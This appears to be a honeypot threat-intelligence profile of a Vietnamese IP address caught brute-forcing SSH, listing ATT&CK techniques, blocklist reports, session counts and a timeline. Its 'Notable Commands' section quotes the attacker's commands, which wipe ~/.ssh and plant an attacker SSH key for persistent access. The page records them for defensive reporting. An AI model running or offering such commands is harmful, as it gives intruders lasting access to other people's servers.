IntrusionLabs / threat intelligence

Sign in

← Back to feed

36.50.54.220

TAGGED SUSPICIOUS how we decide →

Threat Confidence

50%

Location

🇻🇳 VN

ASN

AS151858 · INTERDIGI JOINT STOCK COMPANY

Cloud Provider

—

Total Events

550

Top 10% by volume

Agent Count

1

First / Last Seen

2026-08-01 02:28 — 2026-08-01 05:22

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595 T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Discovery

T1046

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-09-01 10:01

blocklist_de:reported

DShield Top Attackers

Reported 2026-09-01 06:01

dshield:top_attacker

Campaigns

Not associated with any campaigns

Session Forensics

scanner ×2 malware_dropper ×18 credential_probe ×41 opportunistic_bruter ×19

Sessions

80 (37 with login)

Avg Depth Score

0.45

Commands Executed

54

Files Downloaded

18

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Credential Probe bddc7b416626 newark_01 · 2026-08-01 05:22

1 20%

Loading events...

Credential Probe d9080ea8d920 newark_01 · 2026-08-01 05:19

1 20%

Loading events...

Credential Probe 980af12882b9 newark_01 · 2026-08-01 05:17

1 20%

Loading events...

Credential Probe 1c3d134bf5d3 newark_01 · 2026-08-01 05:14

1 20%

Loading events...

Credential Probe cb15fc59c32c newark_01 · 2026-08-01 05:11

1 20%

Loading events...

Opportunistic Bruter e8a765fc6599 newark_01 · 2026-08-01 05:08

1 50%

Loading events...

Credential Probe 7c25b859bead newark_01 · 2026-08-01 05:08

1 20%

Loading events...

Malware Dropper f7b45dee7c85 newark_01 · 2026-08-01 05:08

3 1 1 100%

Loading events...

Credential Probe fdb302b340ad newark_01 · 2026-08-01 05:05

1 20%

Loading events...

Credential Probe 0187b86598ad newark_01 · 2026-08-01 05:02

1 20%

Loading events...

Credential Probe 8ee08353debe newark_01 · 2026-08-01 04:59

1 20%

Loading events...

Opportunistic Bruter a1d5152a83d0 newark_01 · 2026-08-01 04:57

1 50%

Loading events...

Malware Dropper b6afb90c4add newark_01 · 2026-08-01 04:56

3 1 1 100%

Loading events...

Credential Probe 26b5d98d436a newark_01 · 2026-08-01 04:56

1 20%

Loading events...

Credential Probe 47d1558364bd newark_01 · 2026-08-01 04:54

1 20%

Loading events...

Credential Probe 85b6d835487c newark_01 · 2026-08-01 04:51

1 20%

Loading events...

Opportunistic Bruter 472c7cf2b03f newark_01 · 2026-08-01 04:48

1 50%

Loading events...

Credential Probe ec1532a1548d newark_01 · 2026-08-01 04:48

1 20%

Loading events...

Scanner 1ed8f722b1d9 newark_01 · 2026-08-01 04:48

15%

Loading events...

Malware Dropper 2d4f04f4044c newark_01 · 2026-08-01 04:45

3 1 1 100%

Loading events...

Opportunistic Bruter fcc7fe78109f newark_01 · 2026-08-01 04:45

1 50%

Loading events...

Credential Probe 2b0cc0b58b63 newark_01 · 2026-08-01 04:45

1 20%

Loading events...

Opportunistic Bruter dfb8af526a09 newark_01 · 2026-08-01 04:42

1 50%

Loading events...

Malware Dropper 1bf788a33ccb newark_01 · 2026-08-01 04:42

3 1 1 100%

Loading events...

Credential Probe 758a47ee5f52 newark_01 · 2026-08-01 04:42

1 20%

Loading events...

Opportunistic Bruter aee652ac0461 newark_01 · 2026-08-01 04:39

1 50%

Loading events...

Malware Dropper 9a0c07df20ba newark_01 · 2026-08-01 04:39

3 1 1 100%

Loading events...

Credential Probe e37e391ec54f newark_01 · 2026-08-01 04:39

1 20%

Loading events...

Malware Dropper 46286761aaac newark_01 · 2026-08-01 04:36

3 1 1 100%

Loading events...

Opportunistic Bruter 5e6b318d9868 newark_01 · 2026-08-01 04:36

1 50%

Loading events...

Credential Probe 1ce45e457f89 newark_01 · 2026-08-01 04:36

1 20%

Loading events...

Credential Probe ab0243740338 newark_01 · 2026-08-01 04:33

1 20%

Loading events...

Opportunistic Bruter e123e31325bb newark_01 · 2026-08-01 04:30

1 50%

Loading events...

Malware Dropper 183e092c116b newark_01 · 2026-08-01 04:30

3 1 1 100%

Loading events...

Credential Probe 0a5e66d877f6 newark_01 · 2026-08-01 04:30

1 20%

Loading events...

Malware Dropper ddbb17d30f19 newark_01 · 2026-08-01 04:27

3 1 1 100%

Loading events...

Opportunistic Bruter b10ce80fa907 newark_01 · 2026-08-01 04:27

1 50%

Loading events...

Credential Probe 234fc20c7a7b newark_01 · 2026-08-01 04:27

1 20%

Loading events...

Malware Dropper a6ab6bdc467e newark_01 · 2026-08-01 04:24

3 1 1 100%

Loading events...

Opportunistic Bruter 72c42d1bf4cf newark_01 · 2026-08-01 04:24

1 50%

Loading events...

Credential Probe 7406b48fc691 newark_01 · 2026-08-01 04:24

1 20%

Loading events...

Malware Dropper 9551b6df61a6 newark_01 · 2026-08-01 04:21

3 1 1 100%

Loading events...

Opportunistic Bruter 90df3906dd9a newark_01 · 2026-08-01 04:21

1 50%

Loading events...

Credential Probe e582ab0518fd newark_01 · 2026-08-01 04:21

1 20%

Loading events...

Scanner c7eec80de10d newark_01 · 2026-08-01 03:25

15%

Loading events...

Credential Probe 55bcd18ae101 newark_01 · 2026-08-01 03:18

1 20%

Loading events...

Credential Probe 4f055d50e2a7 newark_01 · 2026-08-01 03:16

1 20%

Loading events...

Malware Dropper 1ca0e68cde60 newark_01 · 2026-08-01 03:13

3 1 1 100%

Loading events...

Opportunistic Bruter 6662941f6710 newark_01 · 2026-08-01 03:13

1 50%

Loading events...

Credential Probe 649a6910093a newark_01 · 2026-08-01 03:13

1 20%

Loading events...

{# Cloudflare Web Analytics — cookieless, public pages only. The context processor withholds the token from authenticated requests. #}